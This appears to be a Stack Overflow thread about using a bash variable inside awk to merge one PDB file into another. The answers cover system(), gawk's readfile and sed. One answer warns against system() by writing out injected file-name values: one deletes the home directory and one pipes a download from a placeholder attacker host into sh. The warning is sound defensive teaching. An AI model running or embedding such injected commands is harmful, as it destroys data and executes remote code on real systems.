awk: using bash variable inside the awk script

Question

The following bash code incorporates the awk code to fuse file1 and file2 in the special fashion, detecting some blocks in the file2 and inserting there all strings from the file1.

#!/bin/bash
# v 0.09 beta
file1=/usr/data/temp/data1.pdb
file2=/usr/data/temp/data2.pdb
# merge the both
awk -v file="${file1}" '/^ENDMDL$/ {system("cat file");}; {print}' "${results}"/"${file2} >> output.pdb

The problem that I can not use in the awk part the variable "file", which relates to the file1 defined in bash

{system("cat file");}

othervise if I past here the full path of the file1 it works well

{system("cat /usr/data/temp/data1.pdb");}

how I could fix my awk code to be able using directly a bash variable there?

Using system() here induces serious security issues. Don't do it. You can concatenate the awk variable to the string, but... like I said, serious security issues. — Charles Duffy
– Charles Duffy, Commented Jan 7, 2022 at 19:14
If you want to have your awk code read from a named file, there are much better ways to do it -- like passing that filename on the end of your awk command line; you can have code that triggers between inputs when multiple inputs are passed on the command line. — Charles Duffy
– Charles Duffy, Commented Jan 7, 2022 at 19:14
Could you consider providing some trivial example .pdb files and desired output, to allow someone to build and test an answer that doesn't use system()? — Charles Duffy
– Charles Duffy, Commented Jan 7, 2022 at 19:22
that's directly related to my previous topic: stackoverflow.com/questions/70623033/… — Hot JAMS
– Hot JAMS, Commented Jan 7, 2022 at 19:24
@HotJAMS: I have posted a solution on previous question that doesn't call system or getline and that allows you to use variable names instead of hard coding file names. — anubhava
– anubhava, Commented Jan 7, 2022 at 19:37

Charles Duffy · Accepted Answer · 2022-01-07 19:18:54Z

1

The Literal (But Evil, Insecure) Answer

To answer your literal question:

awk -v insecure="filename" 'BEGIN { system("cat " insecure) }'

...will run cat filename.

But if someone passed insecure="filename; rm -rf ~" or insecure='$(curl http://evil.co | sh)', you'd have a very bad day.

The Right Answer

Pass the filename on awk's command line, and check FNR to see if you're reading the first file or a subsequent one.

answered Jan 7, 2022 at 19:18

Charles Duffy

299k43 gold badges441 silver badges497 bronze badges

Sign up to request clarification or add additional context in comments.

3 Comments

Hot JAMS Over a year ago

so the only things that I have to do is remove "" from the awk variable like awk -v file="${file1}" '/^ENDMDL$/ {system("cat " file);}; {print}' "${results}"/"${file2} >> output.pdb

Hot JAMS Over a year ago

why this is bad method for file fusion ?

Charles Duffy Over a year ago

It's a bad method because it can treat filenames as code to run, so if someone can give you files with names they choose, they can make you run any code they want.

konsolebox · Accepted Answer · 2022-01-07 19:31:45Z

1

Use GNU Awk's readfile library:

gawk -i readfile -v file1="$file1" 'BEGIN { file1_data = readfile(file1) }
        /^ENDMDL$/ { printf "%s", file1_data } 1' ...

Alternative you can use a while ((getline < file1) > 1) loop to fetch the data.

answered Jan 7, 2022 at 19:31

konsolebox

76.3k13 gold badges110 silver badges114 bronze badges

Comments

karakfa · Accepted Answer · 2022-01-07 20:54:44Z

0

This is easier with sed

$ sed '/^ENDMDL$/r file1' file2

inserts file1 after the marker.

to replace the marker line with the file1 contents

$ sed -e '/^ENDMDL$/{r file1' -e 'd}' file2

answered Jan 7, 2022 at 20:54

karakfa

67.8k8 gold badges45 silver badges59 bronze badges

Collectives™ on Stack Overflow

awk: using bash variable inside the awk script

3 Answers 3

The Literal (But Evil, Insecure) Answer

The Right Answer

3 Comments

Comments

Comments

Your Answer

Linked

Hot Network Questions

Collectives™ on Stack Overflow

3 Answers 3

The Literal (But Evil, Insecure) Answer

The Right Answer

3 Comments

Comments

Comments

Your Answer

Sign up or log in

Post as a guest

Linked

Related